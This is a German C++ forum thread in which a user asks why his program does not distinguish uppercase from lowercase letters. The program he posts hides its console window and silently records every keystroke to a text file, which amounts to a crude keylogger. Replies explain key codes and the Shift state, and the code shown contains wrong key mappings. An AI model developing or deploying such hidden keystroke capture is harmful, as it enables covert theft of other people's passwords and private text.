Tastaturfunktion unterscheidet nicht zwischen Groß und Klein
-
Danke:
HAB EIN PROBLEM:
Grossbuchstaben, Kleinbuchstaben:
if(GetAsyncKeyState(0x5A)){
cout<<"Z";
log+="Z";
Sleep(200);und
if(GetAsyncKeyState(0x61)){
cout<<"z";
log+="z";
Sleep(200);wenn ich z drücke schreibt es ein GROSSES Z und wenn ich Shift + z drücke also Grosses Z schreibt er ein grosses Z. Was mach ich denn falsch?
-
Hallo
Nichts, das ist korrekt so. Die Tastatur sendet nunmal für jedes Z genau ein Signal. Erst durch die Auswertung des SHIFT-Zustandes wird ein kleines bzw. großes Z draus. Du must also zusätzlich noch die SHIFT-Taste abfragen und dementsprechend entscheiden ob z oder Z.
Der Lesbarkeit zuliebe solltest du keine Hexkonstanten an GetA... übergeben, sondern gleich die Char-Literale bzw. die Virtual Key Codes.
bis bald
akari
-
Also so:
if(GetAsyncKeyState(0x5A))&&(GetAsyncKeyState(VK_SHIFT)){ cout<<"Z"; log+="Z"; Sleep(200);
?
Das zeigt mir aber nen Fehler an ... und wenn ich z schreibe ist es trozdem gross -.-!
-
Hallo
Was für ein Fehler?
Vermutlich den der durch die falsch gesetzten Klammern entsteht.Das 'Z' soll ja auch nicht die Funktion, sondern die Lesbarkeit deines Codes verbessern.
/Edit : Und bitte beim Posten von Code beachten : sfds
bis bald
akari
-
Also Fehler ist behoben^^
Hier mal was ich bis jetzt gemacht habe:Klappt i-wie überhaupt nicht -.-. er schreibt nie was kleines hin sowie auch nicht die Sonderzeichen. WISO?
Hier mall mein Code
#include <stdio.h> #include <windows.h> #include<iostream> #include <fstream> #include <string> using namespace std; int main(){ FreeConsole(); string log; while(true){ if(GetAsyncKeyState(0x21)){ cout<<"!"; log+="!"; Sleep(200); }; if(GetAsyncKeyState(0x23)){ cout<<"#"; log+="#"; Sleep(200); }; if(GetAsyncKeyState(0x24)){ cout<<"$"; log+="$"; Sleep(200); }; if(GetAsyncKeyState(0x25)){ cout<<"%"; log+="%"; Sleep(200); }; if(GetAsyncKeyState(0x26)){ cout<<"&"; log+="&"; Sleep(200); }; if(GetAsyncKeyState(0x27)){ cout<<"'"; log+="'"; Sleep(200); }; if(GetAsyncKeyState(0x28)){ cout<<"("; log+="("; Sleep(200); }; if(GetAsyncKeyState(0x28)){ cout<<")"; log+=")"; Sleep(200); }; if(GetAsyncKeyState(0x2A)){ cout<<"*"; log+="*"; Sleep(200); }; if(GetAsyncKeyState(0x2B)){ cout<<"+"; log+="+"; Sleep(200); }; if(GetAsyncKeyState(0x2C)){ cout<<","; log+=","; Sleep(200); }; if(GetAsyncKeyState(0x2D)){ cout<<"-"; log+="-"; Sleep(200); }; if(GetAsyncKeyState(0x2E)){ cout<<"."; log+="."; Sleep(200); }; if(GetAsyncKeyState(0x2F)){ cout<<"/"; log+="/"; Sleep(200); }; if(GetAsyncKeyState(0x30)){ cout<<"0"; log+="0"; Sleep(200); }; if(GetAsyncKeyState(0x31)){ cout<<"1"; log+="1"; Sleep(200); }; if(GetAsyncKeyState(0x32)){ cout<<"2"; log+="2"; Sleep(200); }; if(GetAsyncKeyState(0x44)){ cout<<"3"; log+="3"; Sleep(200); }; if(GetAsyncKeyState(0x34)){ cout<<"4"; log+="4"; Sleep(200); }; if(GetAsyncKeyState(0x35)){ cout<<"5"; log+="5"; Sleep(200); }; if(GetAsyncKeyState(0x36)){ cout<<"6"; log+="6"; Sleep(200); }; if(GetAsyncKeyState(0x37)){ cout<<"7"; log+="7"; Sleep(200); }; if(GetAsyncKeyState(0x38)){ cout<<"8"; log+="8"; Sleep(200); }; if(GetAsyncKeyState(0x39)){ cout<<"9"; log+="9"; Sleep(200); }; if((GetAsyncKeyState(0x3A))&&(GetAsyncKeyState(VK_SHIFT))){ cout<<":"; log+=":"; Sleep(200); }; if((GetAsyncKeyState(0x3B))&&(GetAsyncKeyState(VK_SHIFT))){ cout<<";"; log+=";"; Sleep(200); }; if(GetAsyncKeyState(VK_SPACE)){ cout<<" "; log+=" "; Sleep(200); }; if(GetAsyncKeyState(0x3C)){ cout<<"<"; log+="<"; Sleep(200); }; if((GetAsyncKeyState(0x3D))&&(GetAsyncKeyState(VK_SHIFT))){ cout<<"="; log+="="; Sleep(200); }; if((GetAsyncKeyState(0x3E))&&(GetAsyncKeyState(VK_SHIFT))){ cout<<">"; log+=">"; Sleep(200); }; if((GetAsyncKeyState(0x3F))&&(GetAsyncKeyState(VK_SHIFT))){ cout<<"?"; log+="?"; Sleep(200); }; if((GetAsyncKeyState(0x40))&&(GetAsyncKeyState(VK_SHIFT))){ cout<<"@"; log+="@"; Sleep(200); }; if((GetAsyncKeyState(0x41))&&(GetAsyncKeyState(VK_SHIFT))){ cout<<"A"; log+="A"; Sleep(200); }; if((GetAsyncKeyState(0x42))&&(GetAsyncKeyState(VK_SHIFT))){ cout<<"B"; log+="B"; Sleep(200); }; if((GetAsyncKeyState(0x43))&&(GetAsyncKeyState(VK_SHIFT))){ cout<<"C"; log+="C"; Sleep(200); }; if((GetAsyncKeyState(0x44))&&(GetAsyncKeyState(VK_SHIFT))){ cout<<"D"; log+="D"; Sleep(200); }; if((GetAsyncKeyState(0x45))&&(GetAsyncKeyState(VK_SHIFT))){ cout<<"E"; log+="E"; Sleep(200); }; if((GetAsyncKeyState(0x46))&&(GetAsyncKeyState(VK_SHIFT))){ cout<<"F"; log+="F"; Sleep(200); }; if((GetAsyncKeyState(0x47))&&(GetAsyncKeyState(VK_SHIFT))){ cout<<"G"; log+="G"; Sleep(200); }; if((GetAsyncKeyState(0x48))&&(GetAsyncKeyState(VK_SHIFT))){ cout<<"H"; log+="H"; Sleep(200); }; if((GetAsyncKeyState(0x49))&&(GetAsyncKeyState(VK_SHIFT))){ cout<<"I"; log+="I"; Sleep(200); }; if((GetAsyncKeyState(0x4A))&&(GetAsyncKeyState(VK_SHIFT))){ cout<<"J"; log+="J"; Sleep(200); }; if((GetAsyncKeyState(0x4B))&&(GetAsyncKeyState(VK_SHIFT))){ cout<<"K"; log+="K"; Sleep(200); }; if((GetAsyncKeyState(0x4C))&&(GetAsyncKeyState(VK_SHIFT))){ cout<<"L"; log+="L"; Sleep(200); }; if((GetAsyncKeyState(0x4D))&&(GetAsyncKeyState(VK_SHIFT))){ cout<<"M"; log+="M"; Sleep(200); }; if((GetAsyncKeyState(0x4E))&&(GetAsyncKeyState(VK_SHIFT))){ cout<<"N"; log+="N"; Sleep(200); }; if((GetAsyncKeyState(0x4F))&&(GetAsyncKeyState(VK_SHIFT))){ cout<<"O"; log+="O"; Sleep(200); }; if((GetAsyncKeyState(0x50))&&(GetAsyncKeyState(VK_SHIFT))){ cout<<"P"; log+="P"; Sleep(200); }; if((GetAsyncKeyState(0x51))&&(GetAsyncKeyState(VK_SHIFT))){ cout<<"Q"; log+="Q"; Sleep(200); }; if((GetAsyncKeyState(0x52))&&(GetAsyncKeyState(VK_SHIFT))){ cout<<"R"; log+="R"; Sleep(200); }; if((GetAsyncKeyState(0x53))&&(GetAsyncKeyState(VK_SHIFT))){ cout<<"S"; log+="S"; Sleep(200); }; if((GetAsyncKeyState(0x54))&&(GetAsyncKeyState(VK_SHIFT))){ cout<<"T"; log+="T"; Sleep(200); }; if((GetAsyncKeyState(0x55))&&(GetAsyncKeyState(VK_SHIFT))){ cout<<"U"; log+="U"; Sleep(200); }; if((GetAsyncKeyState(0x56))&&(GetAsyncKeyState(VK_SHIFT))){ cout<<"V"; log+="V"; Sleep(200); }; if((GetAsyncKeyState(0x57))&&(GetAsyncKeyState(VK_SHIFT))){ cout<<"W"; log+="W"; Sleep(200); }; if((GetAsyncKeyState(0x58))&&(GetAsyncKeyState(VK_SHIFT))){ cout<<"X"; log+="X"; Sleep(200); }; if((GetAsyncKeyState(0x59))&&(GetAsyncKeyState(VK_SHIFT))){ cout<<"Y"; log+="Y"; Sleep(200); }; if((GetAsyncKeyState(0x5A))&&(GetAsyncKeyState(VK_SHIFT))){ cout<<"Z"; log+="Z"; Sleep(200); }; if(GetAsyncKeyState(0x5B)){ cout<<"["; log+="["; Sleep(200); }; if((GetAsyncKeyState(0x5D))&&(GetAsyncKeyState(VK_SHIFT))){ cout<<"]"; log+="]"; Sleep(200); }; if(GetAsyncKeyState(0x5E)){ cout<<"^"; log+="^"; Sleep(200); }; if((GetAsyncKeyState(0x5F))&&(GetAsyncKeyState(VK_SHIFT))){ cout<<"_"; log+="_"; Sleep(200); }; if(GetAsyncKeyState(97)){ cout<<"a"; log+="a"; Sleep(200); }; if(GetAsyncKeyState(98)){ cout<<"b"; log+="b"; Sleep(200); }; if(GetAsyncKeyState(99)){ cout<<"c"; log+="c"; Sleep(200); }; if(GetAsyncKeyState(100)){ cout<<"d"; log+="d"; Sleep(200); }; if(GetAsyncKeyState(101)){ cout<<"e"; log+="e"; Sleep(200); }; if(GetAsyncKeyState(102)){ cout<<"f"; log+="f"; Sleep(200); }; if(GetAsyncKeyState(103)){ cout<<"g"; log+="g"; Sleep(200); }; if(GetAsyncKeyState(104)){ cout<<"h"; log+="h"; Sleep(200); }; if(GetAsyncKeyState(105)){ cout<<"i"; log+="i"; Sleep(200); }; if(GetAsyncKeyState(106)){ cout<<"j"; log+="j"; Sleep(200); }; if(GetAsyncKeyState(107)){ cout<<"k"; log+="k"; Sleep(200); }; if(GetAsyncKeyState(108)){ cout<<"l"; log+="l"; Sleep(200); }; if(GetAsyncKeyState(109)){ cout<<"m"; log+="m"; Sleep(200); }; if(GetAsyncKeyState(110)){ cout<<"n"; log+="n"; Sleep(200); }; if(GetAsyncKeyState(111)){ cout<<"o"; log+="o"; Sleep(200); }; if(GetAsyncKeyState(112)){ cout<<"p"; log+="p"; Sleep(200); }; if(GetAsyncKeyState(113)){ cout<<"q"; log+="q"; Sleep(200); }; if(GetAsyncKeyState(114)){ cout<<"r"; log+="r"; Sleep(200); }; if(GetAsyncKeyState(115)){ cout<<"s"; log+="s"; Sleep(200); }; if(GetAsyncKeyState(116)){ cout<<"t"; log+="t"; Sleep(200); }; if(GetAsyncKeyState(117)){ cout<<"u"; log+="u"; Sleep(200); }; if(GetAsyncKeyState(118)){ cout<<"v"; log+="v"; Sleep(200); }; if(GetAsyncKeyState(119)){ cout<<"w"; log+="w"; Sleep(200); }; if(GetAsyncKeyState(120)){ cout<<"x"; log+="x"; Sleep(200); }; if(GetAsyncKeyState(121)){ cout<<"y"; log+="y"; Sleep(200); }; if(GetAsyncKeyState(0x7A)){ cout<<"z"; log+="z"; Sleep(200); }; if(GetAsyncKeyState(0x7B)){ cout<<"{"; log+="{"; Sleep(200); }; if(GetAsyncKeyState(0x7C)){ cout<<"|"; log+="|"; Sleep(200); }; if(GetAsyncKeyState(0x7D)){ cout<<"}"; log+="}"; Sleep(200); }; if(GetAsyncKeyState(0x7E)){ cout<<"~"; log+="~"; Sleep(200); }; //-----------------------------------------------// ofstream myfile; myfile.open ("Alle Tasten.txt"); myfile << log; myfile.close(); }; }
-
Hallo,
ist nur so eine Idee: könnte es sein, dass deine Endlos-while-Schleife (wozu auch immer die gut sein soll) zu schnell durchlaufen wird und deswegen immer nur ein Tastendruck registriert wird?
Du arbeitest doch mit dem C++Builder, richtig? In welcher Methode welcher Komponente steht denn der gepostete Code?
Und poste das nächste Mal bitte nicht soviel Code, wenn es nicht unbedingt nötig ist - da hat ja keiner mehr Lust zu antworten. In deinem Fall ist es wirklich nicht nötig.MfG
Edit: Und arbeite mal an deinem Deutsch - da kriegt man ja sonst Augenkrebs
-
Hallo
@ Kolumbus : Es ist doch klar zu sehen das dieses Programm für die Konsole ist, keine VCL-Komponente.
@ h4xter : Fällt dir nicht auf das dein massenhaft kopierter Code dringend einer Zusammenfassung bedarf? Ich sehe außerdem keinen Bezug zum Builder mehr, also verschieb ich dich ins Konsolenforum (da dein Vorhaben sich wahrscheinlich auch nicht mit reinen C++ Mitteln umsetzen läßt)
bis bald
akari
-
Dieser Thread wurde von Moderator/in akari aus dem Forum VCL (C++ Builder) in das Forum DOS und Win32-Konsole verschoben.
Im Zweifelsfall bitte auch folgende Hinweise beachten:
C/C++ Forum :: FAQ - Sonstiges :: Wohin mit meiner Frage?Dieses Posting wurde automatisch erzeugt.
-
Hallo,
Klappt i-wie überhaupt nicht -.-. er schreibt nie was kleines hin
Schon theoretisch nicht möglich, wenn man die Tabelle:
http://msdn.microsoft.com/en-us/library/ms645540(VS.85).aspx
betrachtet.
97 == 0x61 == VK_NUMPAD1
98 == 0x62 == VK_NUMPAD2usw...
Wie kommst du also nur darauf, dass die Kleinbuchstaben dort liegen (es gibt keinen Unterschied im virtuellen Tastencode zwischen Groß- und Kleinbuchstaben, jede Taste hat genau einen Code!)?
MfG,
Probe-Nutzer
-
Ja schon aber ich muss es ja unterscheiden zwischen gross und klein!
Das ist ja das Problem
-
h4xter schrieb:
Ja schon aber ich muss es ja unterscheiden zwischen gross und klein!
Schau dir doch mal deine Tastatur genau an. Hast du da eine "Klein-A"- und eine "Groß-A"-Taste?
-
lol ich glaub der hat 0 Plan was er macht wenn ich mir die Sachen da so durchlese ....
Das sieht er so aus als würde der sich irgendwoher alles zusammen kopieren xD
-
Beischpiel:
if (Key == UpperCase (Key)) //anweisungen